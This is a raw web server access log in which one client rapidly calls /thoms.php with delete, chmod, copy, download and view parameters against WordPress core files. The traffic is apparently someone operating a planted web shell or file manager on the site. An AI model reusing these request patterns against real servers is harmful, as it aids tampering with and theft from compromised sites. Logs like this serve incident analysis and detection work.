45.135.193.11 - - [11/Sep/2026:23:32:41 -0400] "GET /thoms.php?dl=class-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-bindings&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?dl=class-oembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:41 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-object-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-object-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:41 -0400] "GET /thoms.php?del=default-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=default-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-object-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?del=default-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:41 -0400] "GET /thoms.php?chmod=global-styles-and-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=global-styles-and-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:41 -0400] "GET /thoms.php?chmod=post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=global-styles-and-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:42 -0400] "GET /thoms.php?chmod=category-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=category-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:42 -0400] "GET /thoms.php?chmod=class-walker-category.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-walker-category.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=category-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?chmod=class-walker-category.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:42 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:42 -0400] "GET /thoms.php?dl=class-wp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:42 -0400] "GET /thoms.php?dl=bookmark-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=bookmark-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:42 -0400] "GET /thoms.php?chmod=class-wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22249 "https://163.245.207.76:443/thoms.php?dl=bookmark-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22249 "https://163.245.207.76:443/thoms.php?chmod=class-wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:42 -0400] "GET /thoms.php?del=class-wp-feed-cache-transient.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-feed-cache-transient.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:42 -0400] "GET /thoms.php?del=class-wp-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-wp-feed-cache-transient.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?del=class-wp-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:42 -0400] "GET /thoms.php?dl=spl-autoload-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=spl-autoload-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:42 -0400] "GET /thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22267 "https://163.245.207.76:443/thoms.php?dl=spl-autoload-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22335 "https://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:43 -0400] "GET /thoms.php?del=feed-rss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=feed-rss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:43 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=formatting.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=formatting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22229 "https://163.245.207.76:443/thoms.php?del=feed-rss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22140 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=formatting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:43 -0400] "GET /thoms.php?del=script-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=script-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:43 -0400] "GET /thoms.php?del=theme-templates.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=theme-templates.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22206 "https://163.245.207.76:443/thoms.php?del=script-modules.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22271 "https://163.245.207.76:443/thoms.php?del=theme-templates.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:43 -0400] "GET /thoms.php?dl=block-bindings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=block-bindings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:43 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftheme-compat&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftheme-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=block-bindings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftheme-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:43 -0400] "GET /thoms.php?dl=class-wp-block-list.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-list.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:43 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-parser-frame.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-parser-frame.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-block-list.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-parser-frame.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:43 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-feed-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-feed-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:43 -0400] "GET /thoms.php?dl=class-wp-user-meta-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-meta-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22289 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-feed-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=class-wp-user-meta-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:44 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=media.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:44 -0400] "GET /thoms.php?del=class-phpass.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-phpass.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-supports.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-supports.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-phpass.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-supports.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:44 -0400] "GET /thoms.php?dl=deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:44 -0400] "GET /thoms.php?dl=session.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=session.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22239 "https://163.245.207.76:443/thoms.php?dl=session.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:44 -0400] "GET /thoms.php?chmod=class-wp-block-patterns-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-patterns-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffeed-rss2.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffeed-rss2.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21879 "https://163.245.207.76:443/thoms.php?chmod=class-wp-block-patterns-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffeed-rss2.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:44 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=theme.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:45 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-navigation-fallback.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-navigation-fallback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
